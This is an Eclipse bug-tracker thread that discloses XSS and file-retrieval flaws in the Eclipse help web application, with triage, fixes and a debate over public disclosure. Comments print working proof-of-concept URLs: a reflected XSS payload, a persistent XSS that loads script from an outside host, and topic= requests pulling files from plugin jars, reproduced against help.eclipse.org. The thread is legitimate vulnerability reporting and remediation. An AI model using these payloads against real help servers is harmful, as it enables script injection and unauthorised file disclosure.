Community
Participate
Working Groups
Build ID: 3.3.3.r33x_r20080129 Steps To Reproduce: Please contact directly for steps to reproduce. More information: I am not including the steps to reproduce because this is a security related bug. Since Eclipse.org does not appear to have a security@ email address or a way to mark a bug as security related (and therefore private), I am filing a generic bug in order to reach developers directly.
In the spirit of open source, should we not be public about this bug? Also, you filed this under the 'Doc' component, maybe you could elaborate on the "positioning" of the problem? How does the bug affect/relate to the "documentation" of Eclipse? Or are you talking a vulnerability on the website?
Typically, open-source groups will mark security bugs as private at least until a patch is available. You do not want to publish the details of an exploit until a patch is available for users. Otherwise, everyone who uses Eclipse is exposed to the vulnerability without any means to protect themselves.
>In the spirit of open source, should we not be public about this bug? Sure, but adding the steps for the hack here so that everyone can see it would be a very bad idea ;-) On the other hand Eclipse is huge with many different responsible people, so a little hint which area / component is affected wouldn't hurt. Anyway, if you don't want to give more information here - which I can understand - then please send a private note to Deni's (denis.roy at eclipse.org). Most likely he can help you. If not, ping me directly.
This bug is now restricted to Eclipse committers. The reporter and the current CC list can also access this bug. Feel free to discuss the details, add patches, etc. Once the security issues no longer exist (i.e., a fix is been generally available) feel free to render the bug public. I'm adding myself as cc, as I run help.eclipse.org which is likely affected by this.
Running dsdp.eclipse.org which is probably also affected
If anyone needs further information about the bug please feel free to ask me. The initial email sent from Peleus to the Eclipse team contained my bug report that I sent to Adobe because I believed this was a Flex issue. Since this bug is now restricted I assume it's ok to post the details here.
(In reply to comment #6) > Since this bug > is now restricted I assume it's ok to post the details here. Yes, it is. Please go ahead.
(In reply to comment #7) > (In reply to comment #6) > > Since this bug > > is now restricted I assume it's ok to post the details here. > Yes, it is. Please go ahead. Hi all, Sorry for the delay in reply to this bug. I'll blame that on the amount of travel I've been doing lately. Here is the important stuff from the email I sent to Peleus: I discovered that when the "Help Contents" are viewed (Help -> Help Contents) a web server is started up on the local machine. Upon further investigation I discovered that this server is an Apache Coyote 1.1 web server. I found 3 separate flaws in the Flex Help web application that is run on this web server. Reflected XSS: The search JSP script at http://127.0.0.1:port/help/advanced/searchView.jsp is vulnerable to XSS through the following parameter: http://127.0.0.1:port/help/advanced/searchView.jsp?searchWord=a");}alert('xss');</script> This is very dangerous due to the fact that the web server is being run on the local machine. It is possible to perform Cross-Zone Scripting in Internet Explorer by inserting malicious Javascript code into a page being run from a local web server, if that page is being accessed from the same machine. The IP address 127.0.0.1 is in the Internet zone, but the hostname "localhost" is in the Local Intranet zone, which has far fewer restrictions. If an attacker can exploit this cross-zone scripting flaw they would be able to circumvent the same-origin policy (IE 6 & 7), read and write arbitrary files on the local system (IE 6) and even execute arbitrary commands on the operating system (IE 6), all through ActiveX objects. Persistent XSS: The "New Search List" functionality in the Help web application is vulnerable to a persistent XSS through the following parameter: http://127.0.0.1:port/help/advanced/workingSetManager.jsp?operation=add&workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%3E&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName= This will store the text of my new "workingSet" as '><script src='http://1.2.3.4/a.js'></script> which breaks out of the "a" tag and loads a malicious Javascript file from the server at 1.2.3.4. When Flex Builder is closed, reopened and the Help web application restarted, that XSS is still present, making it a persistent XSS vector. I haven't yet done any research into where this information is stored on the system. As with the previous XSS, this attack vector can be used to perform Cross-Zone Scripting attacks circumventing the same-origin policy, reading and writing files on the local system and executing arbitrary commands on the operating system since the malicious script would be running from the Local Intranet zone. Jar and Zip Resource Retrieval in Plugins Directory: The /help/index.jsp file accepts a topic parameter that defines the help topic to display in the web application. The default form of the URL is as follows: http://127.0.0.1:port/help/index.jsp?topic=/com.adobe.flexbuilder.help/html/some_help_page.html I discovered that there is a zip file in the C:\Program Files\Adobe\Flex Builder 2\plugins\com.adobe.flexbuilder.help folder called doc.zip that contains all the help documentation. Through further experimentation I found that any resource could be pulled out of any jar or zip file contained in the plugins folder. http://127.0.0.1:port/help/index.jsp?topic=/org.eclipse.core.commands/plugin.properties The above URL will retrieve the plugin.properties file in the C:\Program Files\Adobe\Flex Builder 2\plugins\org.eclipse.core.commands_3.1.0.jar file. If you have any questions about what I've outlined above feel free to let me know.
> Reflected XSS: > The search JSP script at http://127.0.0.1:port/help/advanced/searchView.jsp is > vulnerable to XSS through the following parameter: > http://127.0.0.1:port/help/advanced/searchView.jsp?searchWord=a");}alert('xss');</script> I was able to reproduce this on help.eclipse.org using a non-Firefox browser only. Firefox always encodes the " which makes it unusable. Tested with MSIE and Konqueror: http://help.eclipse.org/help33/advanced/searchView.jsp?searchWord=a");}alert('xss');</script> I've tracked this down to line 44 of this file, which doesn't seem to filter the http request: http://dev.eclipse.org/viewcvs/index.cgi/org.eclipse.help.webapp/advanced/searchView.jsp?view=annotate > Persistent XSS: > The "New Search List" functionality in the Help web application is vulnerable > to a persistent XSS through the following parameter: > http://127.0.0.1:port/help/advanced/workingSetManager.jsp?operation=add&workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%3E&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName= > > This will store the text of my new "workingSet" as '><script > src='http://1.2.3.4/a.js'></script> which breaks out of the "a" tag and loads a > malicious Javascript file from the server at 1.2.3.4. Indeed, the resulting HTML looks like this: <tr class='list' id='r0' style="width:100%;"> <td align='left' class='label' nowrap style="width:100%; padding-left:5px;"> <a id='a0' href='#' onclick="active=this;highlightHandler()" ondblclick="selectWorkingSet()" title="'><script src='http://1.2.3.4/a.js'></script>"> '><script src='http://1.2.3.4/a.js'></script> </a> </td> </tr> Line 295 of this file seems to indicate that there is no filtering of input text: http://dev.eclipse.org/viewcvs/index.cgi/org.eclipse.help.webapp/advanced/workingSetManager.jsp?annotate=1.59 If someone points me to the right filter to use, I'll gladly play developer and submit a patch :) > Jar and Zip Resource Retrieval in Plugins Directory: http://127.0.0.1:port/help/index.jsp?topic=/org.eclipse.core.commands/plugin.properties > > The above URL will retrieve the plugin.properties file in the C:\Program > Files\Adobe\Flex Builder 2\plugins\org.eclipse.core.commands_3.1.0.jar file. I've reproduced that here: http://help.eclipse.org/help33/index.jsp?topic=/org.eclipse.core.commands/plugin.properties http://help.eclipse.org/help33/topic/org.eclipse.core.commands/plugin.properties This could be a simple web server setting. I haven't tried to track this down, but I (as the site admin) could easily bypass this using Apache -- but the "built-in" web server (Coyote/Jetty/Tomcatetc) should be configured to only serve up known-good files. From here, I think the severity of this should be increased. Eclipse.org, and every other site hosting an Infocenter, now has security vulnerabilities. Also, I've moved this to platform-ua.. Correct me is I'm wrong.
Targeting Eclipse 3.4
Can we change the Reporter on this issue to Rob Carter (rob.carter@ey.com)? I would still like to be on the CC list. However, it was Rob's find and he should be given the credit. Thx.
There are two other bugs relating to security which I have fixed recently: Bug 223363 identified a few vulnerabilities - after fixing this bug I decided to review all of the jsps in the help system for places where unescaped parameters could get inserted into the jsps. I found a few of these and fixed them, see Bug 223980. As a result of fixing these two bugs the security vulnerabilities described in this bug report which allow script insertion into jsp files have been fixed. This still leaves the issue of being able to access any files in the plugin directories using the topic= parameter. I had not really considered this to be a vulnerability but I can see that it is an unexpected feature. I see this as being far less serious than the parameter copying problems. Since the highest priority issues have been fixed and the only problem still open is with misuse of topic= I am lowering the priority to P3 and removing the target milestone.
(In reply to comment #12) > There are two other bugs relating to security which I have fixed recently: > ... > Since the highest priority issues have been fixed and the only problem still > open is with misuse of topic= I am lowering the priority to P3 and removing the > target milestone. > When are the fixes for the XSS vulnerabilities going to be released to the general public?
The fixes for the XSS bugs are available now. Bug 223363 and Bug 223980 both have patches attached. Also the fixes will start appearing in Eclipse builds, any 3.4 builds after today will contain these fixes.
As everything has been fixed for several months, I believe we can safely remove the committer-only restriction on this bug. Am I mistaken?
All but one of the issues have been addressed. Since that is still open we should keep the flag on.
> All but one of the issues have been addressed. Since that is still open we > should keep the flag on. I've lost track -- have all the issues been addressed?
>I've lost track -- have all the issues been addressed? Even if all issues were solved we must not open access on this bug since older Eclipse versions are still used out there and there's really not benefit in opening the access.
(In reply to comment #18) > Even if all issues were solved we must not open access on this bug since older > Eclipse versions are still used out there and there's really not benefit in > opening the access. In my opinion, informing users about security issues in their software is a huge benefit. If the message can delivered together with "fixed in ..." than the benefit is even larger.
>In my opinion, informing users about security issues Sure, but you don't point them to an exact description of the problem. That would be very stupid.
(In reply to comment #20) > >In my opinion, informing users about security issues > Sure, but you don't point them to an exact description of the problem. I see at least a few other bugs mentioned in comments here. They just need to be added to "depends on" section. Users aren't stupid. They will find them. Please don't forget the reaction of users if they find out that we hide information from them.
>Please don't forget the reaction of users if they find out that we hide >information from them. Sure, especially those who are looking for such information to hack the system ;-). If we'd follow blindly the principle to not hide the information then we can remove the restricted group feature in the first place. But obviously I have a different opinion on that.
(In reply to comment #22) > >Please don't forget the reaction of users if they find out that we hide > >information from them. > Sure, especially those who are looking for such information to hack the system > ;-). Somebody who wants to hack a system does need this information. They'll find out by themselves. Very often, hackers explicitly use non-disclosed vulnerabilities. Some of those vulnerabilities might have been known by developers for a long time. They were just never disclosed to users. Thus, users felt save and did not upgrade. That's a major weakness of security through obscurity. > If we'd follow blindly the principle to not hide the information then we can > remove the restricted group feature in the first place. But obviously I have a > different opinion on that. Well, obviously I'm not a fan of the security through obscurity approach. But I strongly disagree with your "blindly" argument here. The issue was discovers, fixes were prepared and released. The last missing piece in the process is the disclosure of the vulnerability. That's a very common and essential piece in processes around application security. Usually it goes together with a security advisory sent out through public channels to make uses explicitly aware of any vulnerability and recommended actions they need to take (eg. update).
I agree with Gunnar. The XSS vulnerability is out there in the large now, and simply hiding information we know does not mean no one else knows, and thus does not make our users (and the users of our software) more secure. Now that a fix is available, the proper process would be to announce (on eclipse-dev, for instance) that a vulnerability exists in older versions and that an upgrade is highly recommended. This is typically how it's done. From there, users/sysadmins can evaluate the risk of upgrading vs. the risk of staying the course. Here is how Bugzilla typically announces a security vulnerability: http://www.bugzilla.org/security/2.20.4/ The whole idea of hiding information is to prevent abuse while there is no available fix. Nothing more.
This bug report covered more than one bug. There is one problem remaining but I agree that the part which was fixed back in Eclipse 3.4 should be made public. If non-one objects I will create a non restricted clone of this bug report describing the scenarios that have been fixed and close it as WORKSFORME.
What is our status here? Is it time to turn off the committer-only checkbox?
(In reply to comment #26) > What is our status here? Is it time to turn off the committer-only checkbox? Ping?
Yes, it is time to remove the committer-only flag.
Should this be marked FIXED?
This bug hasn't had any activity in quite some time. Maybe the problem got resolved, was a duplicate of something else, or became less pressing for some reason - or maybe it's still relevant but just hasn't been looked at yet. If you have further information on the current state of the bug, please add it. The information can be, for example, that the problem still occurs, that you still want the feature, that more information is needed, or that the bug is (for whatever reason) no longer relevant. If the bug is still relevant, please remove the "stalebug" whiteboard tag.
